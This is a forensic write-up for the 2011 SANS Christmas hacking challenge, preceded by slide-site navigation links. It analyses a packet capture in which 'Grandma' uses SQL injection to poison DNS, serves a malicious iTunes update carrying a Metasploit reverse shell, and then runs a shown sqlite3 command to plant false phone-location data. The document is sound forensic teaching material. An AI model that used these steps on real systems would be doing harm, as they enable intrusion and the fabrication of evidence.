Science 7 Quarter 4 Module 2: Natural Resources.pptxScience 7 Quarter 4 Module 2: Natural Resources.pptx
Science 7 Quarter 4 Module 2: Natural Resources.pptx
 
USPS® Forced Meter Migration - How to Know if Your Postage Meter Will Soon be...
USPS® Forced Meter Migration - How to Know if Your Postage Meter Will Soon be...USPS® Forced Meter Migration - How to Know if Your Postage Meter Will Soon be...
USPS® Forced Meter Migration - How to Know if Your Postage Meter Will Soon be...
 
Raw materials used in Herbal Cosmetics.pptx
Raw materials used in Herbal Cosmetics.pptxRaw materials used in Herbal Cosmetics.pptx
Raw materials used in Herbal Cosmetics.pptx
 
Incoming and Outgoing Shipments in 3 STEPS Using Odoo 17
Incoming and Outgoing Shipments in 3 STEPS Using Odoo 17Incoming and Outgoing Shipments in 3 STEPS Using Odoo 17
Incoming and Outgoing Shipments in 3 STEPS Using Odoo 17
 
INTRODUCTION TO CATHOLIC CHRISTOLOGY.pptx
INTRODUCTION TO CATHOLIC CHRISTOLOGY.pptxINTRODUCTION TO CATHOLIC CHRISTOLOGY.pptx
INTRODUCTION TO CATHOLIC CHRISTOLOGY.pptx
 
Choosing the Right CBSE School A Comprehensive Guide for Parents
Choosing the Right CBSE School A Comprehensive Guide for ParentsChoosing the Right CBSE School A Comprehensive Guide for Parents
Choosing the Right CBSE School A Comprehensive Guide for Parents
 
Computed Fields and api Depends in the Odoo 17
Computed Fields and api Depends in the Odoo 17Computed Fields and api Depends in the Odoo 17
Computed Fields and api Depends in the Odoo 17
 
Visit to a blind student's school🧑‍🦯🧑‍🦯(community medicine)
Visit to a blind student's school🧑‍🦯🧑‍🦯(community medicine)Visit to a blind student's school🧑‍🦯🧑‍🦯(community medicine)
Visit to a blind student's school🧑‍🦯🧑‍🦯(community medicine)
 
Roles & Responsibilities in Pharmacovigilance
Roles & Responsibilities in PharmacovigilanceRoles & Responsibilities in Pharmacovigilance
Roles & Responsibilities in Pharmacovigilance
 
LEFT_ON_C'N_ PRELIMS_EL_DORADO_2024.pptx
LEFT_ON_C'N_ PRELIMS_EL_DORADO_2024.pptxLEFT_ON_C'N_ PRELIMS_EL_DORADO_2024.pptx
LEFT_ON_C'N_ PRELIMS_EL_DORADO_2024.pptx
 
Full Stack Web Development Course for Beginners
Full Stack Web Development Course  for BeginnersFull Stack Web Development Course  for Beginners
Full Stack Web Development Course for Beginners
 
ECONOMIC CONTEXT - PAPER 1 Q3: NEWSPAPERS.pptx
ECONOMIC CONTEXT - PAPER 1 Q3: NEWSPAPERS.pptxECONOMIC CONTEXT - PAPER 1 Q3: NEWSPAPERS.pptx
ECONOMIC CONTEXT - PAPER 1 Q3: NEWSPAPERS.pptx
 
Earth Day Presentation wow hello nice great
Earth Day Presentation wow hello nice greatEarth Day Presentation wow hello nice great
Earth Day Presentation wow hello nice great
 
What is Model Inheritance in Odoo 17 ERP
What is Model Inheritance in Odoo 17 ERPWhat is Model Inheritance in Odoo 17 ERP
What is Model Inheritance in Odoo 17 ERP
 
Gas measurement O2,Co2,& ph) 04/2024.pptx
Gas measurement O2,Co2,& ph) 04/2024.pptxGas measurement O2,Co2,& ph) 04/2024.pptx
Gas measurement O2,Co2,& ph) 04/2024.pptx
 
4.18.24 Movement Legacies, Reflection, and Review.pptx
4.18.24 Movement Legacies, Reflection, and Review.pptx4.18.24 Movement Legacies, Reflection, and Review.pptx
4.18.24 Movement Legacies, Reflection, and Review.pptx
 
Proudly South Africa powerpoint Thorisha.pptx
Proudly South Africa powerpoint Thorisha.pptxProudly South Africa powerpoint Thorisha.pptx
Proudly South Africa powerpoint Thorisha.pptx
 
TataKelola dan KamSiber Kecerdasan Buatan v022.pdf
TataKelola dan KamSiber Kecerdasan Buatan v022.pdfTataKelola dan KamSiber Kecerdasan Buatan v022.pdf
TataKelola dan KamSiber Kecerdasan Buatan v022.pdf
 

SANS xmas 2011 Hacking Submission

  • 1. SANS Christmas Hacking Challenge 2011 Johnny Vestergaard jkv@unixcluster.dk January 3, 2012 Contents 1 Overview 2 1.1 Significant events . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 1.2 Attack visualization . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 2 Analysis 3 2.1 Hosts analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 2.1.1 IP 192.168.1.10 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 2.1.2 IP 172.19.79.2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 2.1.3 IP 172.19.89.6 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 2.2 Detailed analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 2.2.1 #1 - Email from Grandma to Mel . . . . . . . . . . . . . . . . . . 5 2.2.2 #2 - Probing of web server . . . . . . . . . . . . . . . . . . . . . . 6 2.2.3 #3 - SQL injection (DNS Poisoning) . . . . . . . . . . . . . . . . . 7 2.2.4 #4 - Infection of Rudolphs computer . . . . . . . . . . . . . . . . . 10 3 Answers to challenge questions 14 1
  • 2. 1 Overview 1.1 Significant events Table 1 provides a summarization of the most significant events identified and analyzed on the following pages. Time Event # 1 13:51 Email from Grandma to Mel revealing a plot to frame Rudolph of her murder, mail has hidden content which reveals Grandma’s current location. 2 13:51 Probing of Web server, attacker finds that the server is vulnerable to SQL injection (source 192.168.1.10) 3 13:52 SQL injection on web server, injections of data which results in specific apple.com hosts resolving to 192.168.1.10. (DNS poisoning) 4 13:57 Rudolph computer tries to update iTunes, but due to DNS poisoning is redirected to a service provided by the attacker which servers a piece of malware used by the attacker inject a set of coordinates (40.7715,-73.978833) into a backup of Rudolph’s cellular phone.. Table 1: Significant events 1.2 Attack visualization Based on the analysis in section 2 the following visualization has been generated - this visualization is pretty self explanatory and is included as an easy way to grasp how the attack were orchestrated. Mail with hidden content Mail Server (Grandma -> Mel) 192.168.1.3 DNS poisoning(sql injection) DNS and Get iTunesUpdate Web Server Uses DNS 172.19.79.2 Attacker 192.168.1.10 Reverse shell Target (Grandma) 172.19.79.6 Get sqlite.exe (ftp) (Rudolph) Change iPhone coordinates Delete sqlite.exe Figure 1: Attack visualization 2
  • 3. 2 Analysis An in-depth analysis of the most significant hosts and events found in the provided packet dump. 2.1 Hosts analysis Form, identify and miscellaneous information on the most prominent hosts active in the packet dump, this provides a reference point for further analysis done in 2.2. 2.1.1 IP 192.168.1.10 Accordingly to headers extracted from email and http this host appears to be running a Linux i686 variant as OS, using Firefox as a browser (See snippet 1: line 2 and 3) and Alpine as email client. Furthermore it appears that the operator using 192.168.1.10 is do- ing so using a administrative account (root) and that the operator is know as “Grandma” (See snippet 2: line 2, 3, 4 and 5). Snippet 1 HTTP client headers from 192.168.1.0 1 GET / HTTP/1.1 2 Host: www.santaslist.northpole 3 User−Agent: Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Snippet 2 Email headers from 192.168.1.10 1 Date: Sun, 25 Dec 2011 07:42:26 −0500 (EST) 2 From: Grandma <root@grandma.gma> 3 X−X−Sender: root@bt 4 To: cousinmel@mail.gma 5 Subject: Christmas 6 Message−ID: <alpine.DEB.2.02.1112250741440.7396@bt> 7 User−Agent: Alpine 2.02 (DEB 1266 2009−07−14) 8 MIME−Version: 1.0 9 Content−Type: MULTIPART/MIXED; BOUNDARY="0−471592043−1324816946=:7396" 2.1.2 IP 172.19.79.2 Web server serving www.santaslist.northpole, running Apache 2.2.15 on CentOS and using PHP 5.3.2. (See snippet 3). Snippet 3 HTTP headers from webserver www.santaslist.northpole 1 HTTP/1.1 200 OK 2 Date: Sun, 25 Dec 2011 12:52:58 GMT 3 Server: Apache/2.2.15 (CentOS) 4 X−Powered−By: PHP/5.3.2 3
  • 4. 2.1.3 IP 172.19.89.6 Accordingly to headers(see snippet 4) extracted from HTTP requests this system is running Windows XP Professional SP3 and have an outdated version of iTunes installed (10.3.1), furthermore path-naming and username information were foud which indicates that the owner of this system is named Rudolph as shown in snippet 5. Snippet 4 HTTP header from 172.19.89.6 1 GET /bag.xml?ix=4 HTTP/1.1 2 User−Agent: iTunes/10.3.1 (Windows; Microsoft Windows XP Professional Service Pack 3 (Build 2600)) AppleWebKit/533.21.1 Snippet 5 Indications of identify on 172.19.89.6 1 C:Documents and SettingsRudolphApplication DataApple ComputerMobileSyncBackup e409a4c01ece2a9e6bf9267b169f3b15616b98cd>ftp −A 192.168.1.10 2 [...] 3 Anonymous login succeeded for Rudolph@RUDOLPH−PC 4
  • 5. 2.2 Detailed analysis This section will prove a detailed analysis of each significant event as listed in table 1 on page 2. 2.2.1 #1 - Email from Grandma to Mel At 13:51 an email was sent from Grandma to Mel, this mail appears at first looks to contain only a mail message (snippet 6) and a MIME embedded work document (content shown in 7), however during forensic analysis of the word document a hidden messages from Grandma were detected in the comment property of the metadata affiliated with the word document as shown in snippet 8. Snippet 6 Text content of mail from Grandma to Rudolph 1 Dear Mel, 2 3 Our plans are almost complete, and I am very excited. Soon, you and I 4 shall be spending the rest of our days relaxing in the surf and sun! 5 The plan is highly sensitive, a deep secret that only the two of us share. 6 Never tell another soul about our clever scheme as long as you live. 7 As we discussed, I recently made you the sole beneficiary of my life 8 insurance policy. On Christmas Eve, I plan on faking my own death, which 9 I will frame as murder on Rudolph, Santas obnoxious reindeer. 10 11 The details of my plan are included in the attached document below. Read 12 it carefully. 13 14 Merry Christmas! 15 16 Grandma 5
  • 6. Snippet 7 Content of attached file in mail from Grandma to Mel 1 Dear Mel, 2 3 Here are the details of my secret plan. 4 5 After the investigation turns up the evidence I plant, you provide eyewitness testimony in court, and 6 Rudolph is convicted, you will receive the insurance payout. We can then use that money to fund our 7 Caribbean retirement. 8 9 I am not sure I ever told you this, Mel, but as a child, my village was attacked by a ravenous band of 10 rampaging reindeer, instilling a life−long hatred in me for the flea−bitten beasts. Ill never forget 11 their horrible comments as they galloped through our village. Because of that chilling childhood 12 experience, Im going to fake my death and blame it all on Rudolph, the most well−known reindeer of all. 13 Hell rot away in jail forever. 14 15 Merry Christmas, 16 17 Grandma Snippet 8 Message hidden in file comment of attached file 1 I will hide out at the Plaza Hotel near Central Park for several weeks, and meet you there in the lobby 2 exactly one week after the trial concludes with a guilty verdict for Rudolph, precisely at noon local 3 time. Make sure you bring the money in a suitcase full of cash. Ill be wearing one red shoe. 2.2.2 #2 - Probing of web server Soon after issuing the mail previously mentioned, the attacker launched a series of probes on a web server (172.19.79.2). Initially the attacker issued a few HTTP probes, shown in snippet 9, the purpose of these probes is assessed to be information gathering and identification of vulnerabilities. The attacker successfully identified a SQL injection vul- nerability by injecting a single quote (hex value 27) as a value to the name parameter in the naughty list form, the server response suggesting this vulnerability is shown in snippet 10. 6
  • 7. Snippet 9 Generic probing • GET / HTTP/1.1 • POST /checklist.php HTTP/1.1 – name=Grandma – name=Cousin+Mel – name=%27 Snippet 10 SQL Injection probe 1 HTTP/1.1 200 OK 2 Date: Sun, 25 Dec 2011 12:53:28 GMT 3 Server: Apache/2.2.15 (CentOS) 4 <−− CUT −−> 5 <tr><th>Name</th><th>Status</th></tr> 6 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ’’’’’ at line 1</table> 7 </body></html> 2.2.3 #3 - SQL injection (DNS Poisoning) The attacker starts out by injecting a few SELECT queries to identify the data and schema already stored in the database, the results are displayed enumerated in the naughty list as shown in figure 2 on the next page, after a few queries the attacker is able to reconstruct the relevant parts of the DNS database as shown in table 2a on page 9. The attacker then injects a single Start of Authority (SOA) record in the MYDNS.soa stat- ing that the origin apple.com is best resolved at ns1.santaslist.northpole, which in plain english states that ns1.santaslist.northpole is the best place to lookup *.apple.com host names. Lastly a series of apple.com hosts are injected into the Resource Record (RR) table stating that the specified hosts resolved to 192.168.1.10 - again in plain English this states that when a client lookups one of the injected hostsname they will resolve to 192.168.1.10 - which is the IP of the attacker. A full overview of the SOA and RR tables after the attacker successfully has conducted his DNS poisoning is shown in table 2b on page 9. 7
  • 8. Figure 2: HTML feedback after SQL injection of SELECT statement 8
  • 9. Original soa Table MINIMUM REFRESH EXPIRE ORIGIN SERIAL RETRY MBOX TTL NS ID 604800 28800 86400 86400 7200 25 1 santaslist.northpole ns1.santaslist.northpole root.santaslist.northpole Original rr Table ID ZONE NAME TYPE DATA AUX TTL 1 1 @ NS ns1.santaslist.northpole 0 86400 2 1 ns1.santaslist.northpole A 172.19.79.2 0 86400 3 1 www.santaslist.northpole A 172.19.79.2 0 86400 (a) DNS tables before SQL injection Modified soa Table MINIMUM REFRESH EXPIRE ORIGIN SERIAL RETRY MBOX TTL NS ID 604800 28800 86400 86400 7200 25 1 santaslist.northpole ns1.santaslist.northpole root.santaslist.northpole 604800 28800 86400 86400 7200 2 apple.com ns1.santaslist.northpole root.santaslist.northpole 1 Modified rr Table ID ZONE NAME TYPE DATA AUX TTL 1 1 @ NS ns1.santaslist.northpole 0 86400 2 1 ns1.santaslist.northpole A 172.19.79.2 0 86400 3 1 www.santaslist.northpole A 172.19.79.2 0 86400 4 2 itunes.apple.com A 192.168.1.10 86400 5 2 ax.init.itunes.apple.com A 192.168.1.10 86400 6 2 swcatalog.apple.com A 192.168.1.10 86400 7 2 swcdn.apple.com A 192.168.1.10 86400 8 2 swscan.apple.com A 192.168.1.10 86400 (b) DNS tables after SQL injection Table 2: DNS tables before and after malicious modification. 9
  • 10. 2.2.4 #4 - Infection of Rudolphs computer The infection process The target is infected through a malicious iTunes update, the attacker has made arrange- ments as described in 2.2.3 to make specific apple.com hosts resolve to his own machine (192.168.1.10) where he is hosting a malicious update service serving malware instead of legit updates - it is likely that the attacker is using EvilGrade1 (or a similar tool) to facilitate this. The requests from the target’s iTunes instance to the malicious update service are shown in table 3. An analysis of the traffic has shown that the target is using an old version of iTunes (10.3.1) which is vulnerable2 to this specific attack vector which allows download and execution of unsigned updates. Client request Intended host GET /bag.xml?ix=4 ax.init.itunes.apple.com GET /version?machineID=101a1a42c676ea68 itunes.apple.com GET /content/catalogs/others/index-windows-1.sucatalog swcatalog.apple.com GET /content/downloads/14/21/[SNIP]/061-4339.English.dist swcatalog.apple.com GET /iTunesSetup.exe swcatalog.apple.com Table 3: Update requests The malware After execution of the malware, the malware tries to connect back to the attacker on port 1225 using a standard TCP three way handshake - after the connection is established the malware seemingly awaits stimulus before acting further, this stimulus was captured in the provided PCAP show in figure 3 on the following page, when comparing this stim- ulus with the shell.rb source code of Metasploit, as shown in figure 4 on the next page, it can be concluded with little doubt that the malware is a legit binary3 wrapped with a Metasploit reverse_tcp stager - and that the actual staging used by attacker is a shell. 1 http://www.infobytesec.com/down/isr-evilgrade-Readme.txt 2 Fixed in 10.5.1 http://support.apple.com/kb/HT5030?viewlocale=en_US 3 Apache Bench - found by static analysis of the binary. 10
  • 11. Figure 3: Malware stimulus (blue is attacker data, red is target data) Figure 4: Metaspoit source code (/modules/payloads/stages/windows/shell.rb) A test was conducted in an isolated environment using two hosts - a Windows XP SP3 running the malware (extracted from the PCAP) and Backtrack 5R2 running Meatas- 11
  • 12. ploit. As shown in figure 5 the test demonstrated that the malware actually works as described above. Figure 5: Injection of shell payload. Modification of coordinates on Rudolph’s computer. At this point the attacker has shell access to Rudolph’s computer where he downloads a copy of sqlite3.exe from his own machine. The attacker uses this tool to inject a set of coordinates into a backup of Rudolph’s phones cellular location database which is stored locally on Rudolph’s computer. The coordinates and timing injected matches the crime-scene4 , as shown in figure 6 on the following page, - which would lead a forensic investigator to the conclusion that Rudolph, or at least his phone, was at the crime-scene when the alleged crime occurred. Snippet 11 Command used to inject data 1 sqlite3 4096c9ec676f2847dc283405900e284a7c815836 "insert into CellLocation values (310,410,11250,116541837,346471200.820172,40.7715,−73.978833,1414,0,−1,−1,−1,50)" The manipulated celluar location database is shown in snippet 12 on the next page(the injected data is shown on line 23). 4 Crime-scene coordinates was extracted from the photo of the crimescene - http://pen-testing.sans. org/images/challenges/holiday/evidence.jpg 12
  • 13. Snippet 12 Location database after malicious modification 1 310|410|11504|165415283|346413600.207493|90.0|0.0|1414.0|0.0|−1.0|−1.0|−1.0|50 2 310|410|11560|165415876|346417200.724667|−36.848461|174.763333|1414.0|0.0|−1.0|−1.0|−1.0|50 3 310|410|11913|165415988|346424400.845503|−33.87365|151.206889|1414.0|0.0|−1.0|−1.0|−1.0|50 4 310|410|11490|165415931|346431600.789114|35.689489|139.691706|1414.0|0.0|−1.0|−1.0|−1.0|50 5 310|410|11486|165415119|346433400.698928|40.332808|116.47765|1414.0|0.0|−1.0|−1.0|−1.0|50 6 310|410|11387|165415444|346435200.577698|39.904214|116.407414|1414.0|0.0|−1.0|−1.0|−1.0|50 7 310|410|11647|165415648|346449600.307924|55.752505|37.623168|1414.0|0.0|−1.0|−1.0|−1.0|50 8 310|410|11563|165415337|346458600.605536|52.523406|13.4114|1414.0|0.0|−1.0|−1.0|−1.0|50 9 310|410|11293|165419827|346460400.123529|48.858362|2.294242|1414.0|0.0|−1.0|−1.0|−1.0|50 10 310|410|11245|165415050|346464000.957372|51.505624|−0.075383|1414.0|0.0|−1.0|−1.0|−1.0|50 11 310|410|11341|165413757|346471200.820172|−22.903539|−43.209587|1414.0|0.0|−1.0|−1.0|−1.0|50 12 310|410|11146|165413900|346478400.428421|18.467964|−66.108809|1414.0|0.0|−1.0|−1.0|−1.0|50 13 310|410|11150|165413038|346480200.261264|6.42375|−66.58973|1414.0|0.0|−1.0|−1.0|−1.0|50 14 310|410|11342|165415572|346482000.116289|40.748245|−73.985534|1414.0|0.0|−1.0|−1.0|−1.0|50 15 310|410|11880|165413161|346483440.664151|43.653226|−79.383184|1414.0|0.0|−1.0|−1.0|−1.0|50 16 310|410|11537|165415788|346484520.528258|40.440625|−79.995886|1414.0|0.0|−1.0|−1.0|−1.0|50 17 310|410|11363|165415476|346485600.313375|41.8789|−87.63584|1414.0|0.0|−1.0|−1.0|−1.0|50 18 310|410|11686|165413799|346489201.224764|39.739094|−104.984898|1414.0|0.0|−1.0|−1.0|−1.0|50 19 310|410|11998|165414519|346492800.167865|37.819751|−122.478168|1414.0|0.0|−1.0|−1.0|−1.0|50 20 310|410|11312|165413083|346496400.422522|61.190009|−149.870694|1414.0|0.0|−1.0|−1.0|−1.0|50 21 310|410|11409|165413229|346500000.268656|21.307237|−157.858055|1414.0|0.0|−1.0|−1.0|−1.0|50 22 310|410|11504|165415284|346503600.473327|90.0|0.0|1414.0|0.0|−1.0|−1.0|−1.0|50 23 310|410|11250|116541837|346471200.820172|40.7715|−73.978833|1414.0|0.0|−1.0|−1.0|−1.0|50 Figure 6: Plot of injected coordinate and crime-scene. (green arrow - same location) 13
  • 14. 3 Answers to challenge questions According to the packet capture file, what was Grandma’s grand plan for Christmas day? Fake her own death and frame Rudolph of her disappearance. Why did the geo-location information on Rudolph’s computer, synced from his cell phone, show that Rudolph was in Central Park during the attack? Please describe each technical step that lead to this "evidence" presented in court. Grandma, the über hacker, hacked Rudolph’s computer and injected a set of coordinates into a software backup of Rudolph’s cellular phone. The technical steps are described in section 2.2. Where should the authorities look for Grandma? In Plaza Hotel near Central Park, see snippet 8 on page 6. Based on the evidence in the packet capture file, who is guilty in this story? Dear old Grandma is guilty of framing Rudolph of her disappearance and insurance fraud. 14